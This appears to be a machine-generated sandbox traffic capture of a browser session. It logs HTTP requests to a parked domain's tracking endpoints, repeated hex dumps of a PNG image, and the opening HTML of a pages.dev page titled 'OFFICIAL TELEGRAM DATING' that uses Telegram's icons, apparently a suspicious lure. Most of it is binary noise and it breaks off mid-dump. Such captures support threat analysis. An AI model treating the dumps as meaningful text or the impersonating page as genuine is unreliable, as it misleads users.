May 24, 2024 00:52:13.903563023 CEST	365	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 31 0d 0a 2f 2f 20 53 63 72 69 62 65 20 2d 20 76 65 72 73 69 6f 6e 20 31 2e 39 31 20 28 72 65 64 77 6f 6f 64 2e 70 61 72 6b 6c 6f 67 69 63 2e 63 6f 6d 29 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31// Scribe - version 1.91 (redwood.parklogic.com)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49791	18.239.102.57	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:13.668111086 CEST	428	OUT	GET /themes/cleanPeppermintBlack_657d9013/img/arrows.png HTTP/1.1 Host: d38psrni17bvxu.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:14.303845882 CEST	441	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 11375 Connection: keep-alive Server: nginx Date: Thu, 23 May 2024 17:27:09 GMT Last-Modified: Thu, 21 Mar 2024 11:48:11 GMT Accept-Ranges: bytes ETag: "65fc1e7b-2c6f" X-Cache: Hit from cloudfront Via: 1.1 ff78b299270b99e41cda1a1252610524.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P3 X-Amz-Cf-Id: rbBKT4zjP9Oj8msJx0cNzsv3bJ9jR8oaJDxA4amerok-4GGbXbnggQ== Age: 19505
May 24, 2024 00:52:14.304421902 CEST	1236	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 dc 00 00 02 58 08 03 00 00 00 4f 6d d4 16 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 00 50 4c 54 45 00 00 00 ff Data Ascii: PNGIHDRXOmtEXtSoftwareAdobe ImageReadyqe<PLTEcdtIK^IK]IK\03IHK_acsceubdtcet0=@SHK]IL]HK\MPbNQbORc.0"&;(,@+/B04I.2F/3G-1D04H.2E04G15H26I59L8<P6:M9=Q7;N:>R:>Q;?R<@SIL\beuadtbetcftbes-0 5!6"7#8
May 24, 2024 00:52:14.309178114 CEST	1236	IN	Data Raw: a4 aa 57 2a 20 af c2 1d de 89 88 54 d3 3e 08 77 78 27 22 52 4c fb 60 dc e1 9d 88 48 2d ed c3 70 87 77 22 22 a5 b4 0f c7 1d de 89 88 54 d2 3e 0a 77 78 27 22 12 d9 08 bb 47 e2 0e ef 44 44 ea 68 af 83 3b bc 13 11 29 a3 bd 1e ee f0 4e 44 a4 8a f6 ba Data Ascii: W* T>wx'"RL`H-pw""T>wx'"GDDh;)ND;"DDjho{'~X""74wx'"OND$v/H6;dqw""}+DD2io;ND$;@DDh;=ND$P;Q~GND$;
May 24, 2024 00:52:14.313985109 CEST	1236	IN	Data Raw: 3d 32 ee c9 79 07 77 74 27 af 58 35 e9 71 8f 4b 7b 74 dc 3b bc 7f 09 dc d1 9d b0 1d dc d3 d2 9e 00 f7 f9 f9 53 bb c0 1d dd 49 70 3f 67 c5 a4 c6 3d 3e ed 49 70 4f c8 3b b8 5f e9 4e c4 22 8e c9 48 c5 3d 05 ed 89 70 4f c6 3b b8 5f 8d eb 4c 54 b3 cf Data Ascii: =2ywt'X5qK{t;SIp?g=>IpO;_N"H=pO;_LTZd'W;.T'}~K=IqO;;aXS;fI\]J{ZwpGwj+$i{Tf="py[gwp2=p;W{1\|=#
May 24, 2024 00:52:14.313997984 CEST	1236	IN	Data Raw: 7b 5e dc 77 ec b8 e5 05 b5 b4 07 c0 3d db 5b da fd b4 1b c3 7d f2 f7 80 83 a4 f7 9d 49 d3 b8 e7 e2 3d 00 ed 61 70 cf c1 7b 15 ed d6 70 9f bc 80 1d 24 bb cf 4f 5a c7 3d 07 ef 41 68 0f 85 7b 6a de ab 69 37 87 3b d7 99 48 76 b7 4f 16 80 fb 8e 1d a7 Data Ascii: {^w=[}I=ap{p$OZ=Ah{ji7;HvO+=)yD=9I{gS}@pOA{W;Ij&K=Ai{d/$$Y\k}{`Eo?GVqGwvq{-$OO
May 24, 2024 00:52:14.323491096 CEST	896	IN	Data Raw: cc 5b 42 69 af c7 fb 04 b6 13 a1 7b 34 dc 23 d1 1e 86 f7 f5 b4 6f c4 bd c3 7b cb a3 33 f1 68 af c3 bb 45 dc 19 39 40 e8 2e 03 f7 be f7 f3 24 f1 be 91 f6 7e dc db 9d 8c 8c 4b fb 68 de 27 b0 9d 28 51 af 16 86 fb 2d b3 d1 79 f3 e7 fd be ef 2d f5 49 Data Ascii: [Bi{4#o{3hE9@.$~Kh'(Q-y-I^7<a}6MIx;h/^\| ^~^M@\|OG0Te}NF}sMNAqOL{yCp{znw Y=y? SK&=2\K
May 24, 2024 00:52:14.325844049 CEST	1236	IN	Data Raw: c2 3d 01 ef de b4 77 fb e0 cc 48 dc 5b d1 1e 9d f7 e1 b4 6b c2 1d dd a9 98 b6 db c0 3d 32 ef ad 68 af e4 7d 3d ee 67 da d2 de e3 fd ed 4c b4 ab c2 9d 7d 77 c2 76 65 b8 77 78 3f 2e 95 f6 0a de d7 e2 7e e6 83 73 61 5a 78 3b 0b ed aa 70 e7 db 9d d8 Data Ascii: =wH[k=2h}=gL}wvewx?.~saZx;pQO{wt'lW{w7dwt'l{`w]N}.=vq{{KiW;d->;qbfv=*=
May 24, 2024 00:52:14.325858116 CEST	1116	IN	Data Raw: bf e7 31 94 f6 11 b8 77 79 3f 2b 8f f6 c1 bc cf 61 3b 11 ba 07 c5 3d 31 ed b5 79 1f 41 fb 48 dc 6b f1 9e 9e f6 41 bc 2b c0 9d 91 03 c4 be bb 22 dc 33 d0 5e 8b f7 91 b4 d7 c0 7d 24 ef e3 fb 73 d5 cf bb 7c dc b7 b1 c6 a9 d4 6e d4 87 7b 26 da 47 f2 Data Ascii: 1wy?+a;=1yAHkA+"3^}$s\|n{&G^Z*rSi{->.w)6W~v>DwW~v6q>Dw)f]ky;H8_]?$wFzQ6h:S
May 24, 2024 00:52:14.325865984 CEST	1236	IN	Data Raw: b3 e0 3e 98 f7 96 b4 cb c4 1d dd 89 2a 7a 73 d1 1c ee 03 79 cf 41 7b 26 dc ab 79 6f 4d bb 50 dc d1 9d 48 85 ed ed 71 af e4 3d 0f ed d9 70 ef e7 3d 00 ed 52 71 47 77 a2 0d c9 5c a9 0b 21 14 1a 8f f1 cc 92 2a dc d7 f3 1e 84 76 b1 b8 a3 3b 91 02 db Data Ascii: >zsyA{&yoMPHq=p=RqGw\!v;\|g}@=3KKcw]0N$pxK{v:w?aE-I?tn[G;2D\|=zGDwB{fw'`sHGV/1w
May 24, 2024 00:52:14.330272913 CEST	1236	IN	Data Raw: 15 ef ce 10 ed 31 71 47 77 22 19 fd e7 74 4e dc 15 f1 ee 0c d1 1e 15 77 0e cd 10 49 e8 ab d3 99 71 ef f0 2e f7 35 be 27 ab 70 37 40 7b 5c dc f9 78 27 32 bc 25 d3 00 77 25 bc 3b 43 b4 c7 c6 9d 6f 77 22 cb b6 d7 c7 7d 4a f2 63 ab 4f ae c5 dd 08 ed Data Ascii: 1qGw"tNwIq.5'p7@{\x'2%w%;Cow"}JcOqGw&wxw3Gw;?1Np3D{K](3>'`qbG"qD6mG&pGw"O#wgTQ:-w59C'R\|
May 24, 2024 00:52:14.330287933 CEST	711	IN	Data Raw: 1e ef 8e e9 60 44 44 cd 9a 52 c0 bb 13 4f 3b 23 64 88 08 de 1b f3 ee a0 9d 88 c8 1c ef ef 39 c9 b4 73 63 89 88 e0 dd 8f 77 07 ed 44 44 9e bc 0b 3e 19 e9 a0 9d 88 c8 1e ef 0e da 89 88 5a 74 1a dc a1 9d 88 e0 bd 5c dc 99 0e 46 44 f0 6e 0e 77 6e 2c Data Ascii: `DDRO;#d9scwDD>Zt\FDnwn,HiNDNDwh'"x/wF[}%"wsC;tC;tC;9!CDnwDTTDTdqg5@;5DDdwh'"~ND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49792	13.248.148.254	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:13.775490046 CEST	449	OUT	GET /track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:14.385282040 CEST	608	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Custom-Track: browserjs Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 Access-Control-Allow-Origin: * Content-Encoding: gzip Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
May 24, 2024 00:52:18.122956038 CEST	568	OUT	GET /track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
May 24, 2024 00:52:18.361480951 CEST	610	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Custom-Track: answercheck Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 Access-Control-Allow-Origin: * Content-Encoding: gzip Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49794	67.225.218.50	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:13.954860926 CEST	404	OUT	GET /page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1 HTTP/1.1 Host: parking.parklogic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:14.541985989 CEST	365	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 31 0d 0a 2f 2f 20 53 63 72 69 62 65 20 2d 20 76 65 72 73 69 6f 6e 20 31 2e 39 31 20 28 72 65 64 77 6f 6f 64 2e 70 61 72 6b 6c 6f 67 69 63 2e 63 6f 6d 29 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31// Scribe - version 1.91 (redwood.parklogic.com)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49795	18.245.173.78	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:14.442284107 CEST	333	OUT	GET /themes/cleanPeppermintBlack_657d9013/img/arrows.png HTTP/1.1 Host: d38psrni17bvxu.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:15.053673983 CEST	442	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 11375 Connection: keep-alive Server: nginx Date: Thu, 23 May 2024 17:27:09 GMT Last-Modified: Thu, 21 Mar 2024 11:48:11 GMT Accept-Ranges: bytes ETag: "65fc1e7b-2c6f" X-Cache: Hit from cloudfront Via: 1.1 d23abcf39dbe6def9bb6c307d8402a58.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG55-P1 X-Amz-Cf-Id: Wk6ywbDyJJu6ZtM5zSVZHUGRylzMarUVBP-Ofc0NN0M9qIYlRcicsg== Age: 19505
May 24, 2024 00:52:15.057760000 CEST	1236	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 dc 00 00 02 58 08 03 00 00 00 4f 6d d4 16 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 00 50 4c 54 45 00 00 00 ff Data Ascii: PNGIHDRXOmtEXtSoftwareAdobe ImageReadyqe<PLTEcdtIK^IK]IK\03IHK_acsceubdtcet0=@SHK]IL]HK\MPbNQbORc.0"&;(,@+/B04I.2F/3G-1D04H.2E04G15H26I59L8<P6:M9=Q7;N:>R:>Q;?R<@SIL\beuadtbetcftbes-0 5!6"7#8
May 24, 2024 00:52:15.057771921 CEST	1236	IN	Data Raw: a4 aa 57 2a 20 af c2 1d de 89 88 54 d3 3e 08 77 78 27 22 52 4c fb 60 dc e1 9d 88 48 2d ed c3 70 87 77 22 22 a5 b4 0f c7 1d de 89 88 54 d2 3e 0a 77 78 27 22 12 d9 08 bb 47 e2 0e ef 44 44 ea 68 af 83 3b bc 13 11 29 a3 bd 1e ee f0 4e 44 a4 8a f6 ba Data Ascii: W* T>wx'"RL`H-pw""T>wx'"GDDh;)ND;"DDjho{'~X""74wx'"OND$v/H6;dqw""}+DD2io;ND$;@DDh;=ND$P;Q~GND$;
May 24, 2024 00:52:15.059539080 CEST	1236	IN	Data Raw: 3d 32 ee c9 79 07 77 74 27 af 58 35 e9 71 8f 4b 7b 74 dc 3b bc 7f 09 dc d1 9d b0 1d dc d3 d2 9e 00 f7 f9 f9 53 bb c0 1d dd 49 70 3f 67 c5 a4 c6 3d 3e ed 49 70 4f c8 3b b8 5f e9 4e c4 22 8e c9 48 c5 3d 05 ed 89 70 4f c6 3b b8 5f 8d eb 4c 54 b3 cf Data Ascii: =2ywt'X5qK{t;SIp?g=>IpO;_N"H=pO;_LTZd'W;.T'}~K=IqO;;aXS;fI\]J{ZwpGwj+$i{Tf="py[gwp2=p;W{1\|=#
May 24, 2024 00:52:15.059551001 CEST	1236	IN	Data Raw: 7b 5e dc 77 ec b8 e5 05 b5 b4 07 c0 3d db 5b da fd b4 1b c3 7d f2 f7 80 83 a4 f7 9d 49 d3 b8 e7 e2 3d 00 ed 61 70 cf c1 7b 15 ed d6 70 9f bc 80 1d 24 bb cf 4f 5a c7 3d 07 ef 41 68 0f 85 7b 6a de ab 69 37 87 3b d7 99 48 76 b7 4f 16 80 fb 8e 1d a7 Data Ascii: {^w=[}I=ap{p$OZ=Ah{ji7;HvO+=)yD=9I{gS}@pOA{W;Ij&K=Ai{d/$$Y\k}{`Eo?GVqGwvq{-$OO
May 24, 2024 00:52:15.063889027 CEST	1236	IN	Data Raw: cc 5b 42 69 af c7 fb 04 b6 13 a1 7b 34 dc 23 d1 1e 86 f7 f5 b4 6f c4 bd c3 7b cb a3 33 f1 68 af c3 bb 45 dc 19 39 40 e8 2e 03 f7 be f7 f3 24 f1 be 91 f6 7e dc db 9d 8c 8c 4b fb 68 de 27 b0 9d 28 51 af 16 86 fb 2d b3 d1 79 f3 e7 fd be ef 2d f5 49 Data Ascii: [Bi{4#o{3hE9@.$~Kh'(Q-y-I^7<a}6MIx;h/^\| ^~^M@\|OG0Te}NF}sMNAqOL{yCp{znw Y=y? SK&=2\K
May 24, 2024 00:52:15.063900948 CEST	1236	IN	Data Raw: 5f da f5 e2 8e ee 84 ed 7a 71 6f c0 7b 3a da 93 e2 5e 93 77 7f da 15 e3 8e ee 64 a7 87 4f 16 87 7b 4d de 53 d2 9e 18 f7 1a bc b7 a1 5d 33 ee f0 4e 7c b6 6b c6 bd 06 ef 69 69 4f 8e fb 70 de b7 3e d7 8a 76 dd b8 73 68 86 f8 6e d7 8c fb 70 de 9f 7d Data Ascii: _zqo{:^wdO{MS]3N\|kiiOp>vshnp}\|jk>ow]7y@{y@v]7g=]=N~3]?Fo<vN\|[i2i;}g75}m
May 24, 2024 00:52:15.063910961 CEST	776	IN	Data Raw: 4f 8f 3b ba 13 59 b1 7d 71 e1 fc f9 71 a9 b4 37 e7 bd 11 ee 4b 6b 13 c6 7b 87 f6 2c b8 a3 3b 51 94 32 2c e6 85 ae 22 e3 52 69 6f ca bb f3 a4 5d 18 ef 3d da f3 e0 8e ee 44 36 6c 5f c6 5d 12 ef 1b 68 6f c6 bb f3 a6 5d 10 ef 2b b4 67 c2 1d dd 89 4c Data Ascii: O;Y}qq7Kk{,;Q2,"Rio]=D6l_]ho]+gL~w)}/JWi;Y}w>x_C{6kqZu}^#Q]{Nng}V$QnX{.k^wLIX{k/5ig
May 24, 2024 00:52:15.065576077 CEST	1236	IN	Data Raw: b3 e0 3e 98 f7 96 b4 cb c4 1d dd 89 2a 7a 73 d1 1c ee 03 79 cf 41 7b 26 dc ab 79 6f 4d bb 50 dc d1 9d 48 85 ed ed 71 af e4 3d 0f ed d9 70 ef e7 3d 00 ed 52 71 47 77 a2 0d c9 5c a9 0b 21 14 1a 8f f1 cc 92 2a dc d7 f3 1e 84 76 b1 b8 a3 3b 91 02 db Data Ascii: >zsyA{&yoMPHq=p=RqGw\!v;\|g}@=3KKcw]0N$pxK{v:w?aE-I?tn[G;2D\|=zGDwB{fw'`sHGV/1w
May 24, 2024 00:52:15.065587044 CEST	1236	IN	Data Raw: 15 ef ce 10 ed 31 71 47 77 22 19 fd e7 74 4e dc 15 f1 ee 0c d1 1e 15 77 0e cd 10 49 e8 ab d3 99 71 ef f0 2e f7 35 be 27 ab 70 37 40 7b 5c dc f9 78 27 32 bc 25 d3 00 77 25 bc 3b 43 b4 c7 c6 9d 6f 77 22 cb b6 d7 c7 7d 4a f2 63 ab 4f ae c5 dd 08 ed Data Ascii: 1qGw"tNwIq.5'p7@{\x'2%w%;Cow"}JcOqGw&wxw3Gw;?1Np3D{K](3>'`qbG"qD6mG&pGw"O#wgTQ:-w59C'R\|
May 24, 2024 00:52:15.076848030 CEST	711	IN	Data Raw: 1e ef 8e e9 60 44 44 cd 9a 52 c0 bb 13 4f 3b 23 64 88 08 de 1b f3 ee a0 9d 88 c8 1c ef ef 39 c9 b4 73 63 89 88 e0 dd 8f 77 07 ed 44 44 9e bc 0b 3e 19 e9 a0 9d 88 c8 1e ef 0e da 89 88 5a 74 1a dc a1 9d 88 e0 bd 5c dc 99 0e 46 44 f0 6e 0e 77 6e 2c Data Ascii: `DDRO;#d9scwDD>Zt\FDnwn,HiNDNDwh'"x/wF[}%"wsC;tC;tC;9!CDnwDTTDTdqg5@;5DDdwh'"~ND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49802	13.248.148.254	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:18.342233896 CEST	379	OUT	GET /favicon.ico HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
May 24, 2024 00:52:18.931796074 CEST	230	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:18 GMT Content-Type: image/x-icon Content-Length: 0 Connection: keep-alive Server: nginx Last-Modified: Thu, 30 Nov 2023 13:41:22 GMT ETag: "65689102-0" Accept-Ranges: bytes

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:23 UTC	674	OUT	GET / HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:24 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:51:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9179 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "a27a07db6ba4c8b3a08d109ef1b510fd" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcXNUc3%2F7tEIwB99CDIP6hS9XgZTUx6uIVsXR4bFM2tu3FZEZDGhVX9ykbrULE3qvyWee6%2BwKys92lIOYkNKxG5%2FQbSST53%2BDZYTlskTJ8uVQ3BUlSDq95uTaNbDPjc43rpa0SaRDayHg8iPL6fs3jS7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c437b991851-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:51:24 UTC	599	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 46 46 49 43 49 41 4c 20 54 45 4c 45 47 52 41 4d 20 44 41 54 49 4e 47 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 26 26 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 27 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 Data Ascii: <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>OFFICIAL TELEGRAM DATING</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>window.matchMedia && window.matchMedia('(prefers-color-sc
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 6f 6e 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 Data Ascii: on.png"> <link rel="icon" type="image/png" sizes="32x32" href="https://telegram.org/img/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://telegram.org/img/favicon-16x16.png"> <link rel="alternate icon" href="
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 77 69 64 74 68 3d 22 31 33 33 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 31 37 22 20 63 79 3d 22 31 37 22 20 66 69 6c 6c 3d 22 76 61 72 28 2d 2d 61 63 63 65 6e 74 2d 62 74 6e 2d 63 6f 6c 6f 72 29 22 20 72 3d 22 31 37 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: width="133" xmlns="http://www.w3.org/2000/svg"> <g fill="none" fill-rule="evenodd"> <circle cx="17" cy="17" fill="var(--accent-btn-color)" r="17" />
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 34 39 2e 34 20 32 34 76 2d 31 32 2e 35 36 32 68 2d 34 2e 32 32 34 76 2d 32 2e 32 36 36 68 31 31 2e 31 39 38 76 32 2e 32 36 36 68 2d 34 2e 32 36 38 76 31 32 2e 35 36 32 7a 6d 31 36 2e 30 39 34 2d 34 2e 35 39 38 68 2d 37 2e 31 37 32 63 2e 30 36 36 20 31 2e 39 33 36 20 31 2e 35 36 32 20 32 2e 37 37 32 20 33 2e 33 20 32 2e 37 37 32 20 31 2e 32 35 34 20 30 20 32 2e 31 33 34 2d 2e 31 39 38 20 32 2e 39 37 2d 2e 34 38 34 6c 2e 33 39 36 20 31 2e 38 34 38 63 2d 2e 39 32 34 